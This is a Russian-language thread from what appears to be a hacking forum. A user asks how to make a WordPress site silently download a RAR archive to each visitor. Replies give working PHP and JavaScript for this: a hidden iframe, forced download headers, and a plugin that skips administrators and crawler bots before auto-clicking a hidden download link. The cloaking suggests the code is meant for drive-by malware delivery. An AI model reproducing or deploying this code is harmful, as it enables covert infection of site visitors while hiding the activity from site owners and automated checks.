• XSS.stack #1 – первый литературный журнал от юзеров форума

CMS вопрос по wordpress.

qwertyqsc

(L3) cache
Пользователь
Регистрация
10.01.2023
Сообщения
199
Реакции
9
как бы сделать автозагрузку файла при заходе на сайт, так что-бы он не ложился?
проблема такая:
вот этот код я устанавливаю в index.php


Код:
<?php
     $file = 'file.rar';

     if (file_exists($file)) {
         echo '<!DOCTYPE html>
         <html>
         <body>
       
         <script>
         {
           window.location.assign("file.rar");
         }
         </script>
       
         </body>
         </html>';
     } else {
         echo 'Файл не найден.';
     }
     ?>

всё хорошо, файл устанавливается, но страница сайта не грузится🤣
подскажете как пофиксить?
 
Вынести скачивание в iframe
Код:
<?php
$file = 'file.rar';

if (file_exists($file)) {
    echo '<!DOCTYPE html>
    <html>
    <body>
        <iframe style="display: none;" src="' . $file . '"></iframe>
    </body>
    </html>';
} else {
    echo 'Файл не найден.';
}
?>
 
Вынести скачивание в iframe
Код:
<?php
$file = 'file.rar';

if (file_exists($file)) {
    echo '<!DOCTYPE html>
    <html>
    <body>
        <iframe style="display: none;" src="' . $file . '"></iframe>
    </body>
    </html>';
} else {
    echo 'Файл не найден.';
}
?>
 

Вложения

  • IMG_1511.jpeg
    IMG_1511.jpeg
    29.2 КБ · Просмотры: 22
все так же в поиске решения моей проблемы, если и вправду будет что то дельное то отблагодарю
PHP:
function serve_file_and_continue() {
    $file = 'file.rar';

    // Проверяем, существует ли файл
    if (file_exists($file)) {
        // Проверяем, что запрос идёт к главной странице
        if (is_front_page()) {
            // Отдаём файл через HTTP-заголовки
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            flush();
            readfile($file);
            exit; // Завершаем выполнение, чтобы файл был отдан
        }
    }
}
add_action('template_redirect', 'serve_file_and_continue');
Добавь этот код не в index.php, а в functions.php активной темы. file.rar должен находиться в корне wordpress или указанный путь должен быть правильным (например, wp-content/uploads/file.rar). Код срабатывает только для главной страницы (is_front_page()), без перезагрузки страницы. Если файл отсутствует, сайт будет работать как обычно, а скачивание не начнётся.
 
PHP:
function serve_file_and_continue() {
    $file = 'file.rar';

    // Проверяем, существует ли файл
    if (file_exists($file)) {
        // Проверяем, что запрос идёт к главной странице
        if (is_front_page()) {
            // Отдаём файл через HTTP-заголовки
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            flush();
            readfile($file);
            exit; // Завершаем выполнение, чтобы файл был отдан
        }
    }
}
add_action('template_redirect', 'serve_file_and_continue');
Добавь этот код не в index.php, а в functions.php активной темы. file.rar должен находиться в корне wordpress или указанный путь должен быть правильным (например, wp-content/uploads/file.rar). Код срабатывает только для главной страницы (is_front_page()), без перезагрузки страницы. Если файл отсутствует, сайт будет работать как обычно, а скачивание не начнётся.
благодарен за помощь, но уже мне решили мою проблему
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Продублирую тут.

Убери все из index.php. Это не тот файл куда можно вписать что-то. Ты просто ломаешь сайт добавляя туда что-то кроме дефолтного кода wp.

Добавь этот код в виде плагина (оберни в zip и установи через /wp-admin/plugin-install.php или создай папку в /wp-content/plugins/ и туда закинь сам .php) или в сам плагин - /wp-admin/plugin-editor.php.
Или в functions.php темы - /wp-admin/theme-editor.php (лучший вариант).

PHP:
<?php // - нужен если отдельным плагином ставишь. если нет, убери.
/**
* Plugin Name: File Download
* Version: 1.0.0
*/

function trigger_auto_download() {
    if (is_admin()) {
        return;
    }

    if (is_404()) {
        return;
    }

    // отсев юзера с админ ролью
    if (current_user_can('administrator')) {
        return;
    }

    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);

    // боты
    $bot_strings = array('bot', 'crawl', '+http');
    foreach ($bot_strings as $bot_string) {
        if (strpos($user_agent, $bot_string) !== false) {
            return;
        }
    }

    add_action('wp_footer', function() {
        $file_path = ABSPATH . 'wp-content/uploads/2024/11/logo.svg';
        
        if (!file_exists($file_path)) {
            return;
        }

        $file_name = basename($file_path);
        ?>
        <script>
        window.addEventListener('load', function() {
            setTimeout(function() {
                var link = document.createElement('a');
                link.style.display = 'none';
                link.href = '<?php echo esc_url(content_url('uploads/2024/11/logo.svg')); ?>';
                link.download = '<?php echo esc_attr($file_name); ?>';
                document.body.appendChild(link);
                link.click();
                setTimeout(function() {
                    link.remove();
                }, 100);
            }, 1500);
        });
        </script>
        <?php
    }, 999);
}
add_action('init', 'trigger_auto_download', 1);

wp-content/uploads/2024/11/logo.svg - твой путь к файлу и сам файл.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх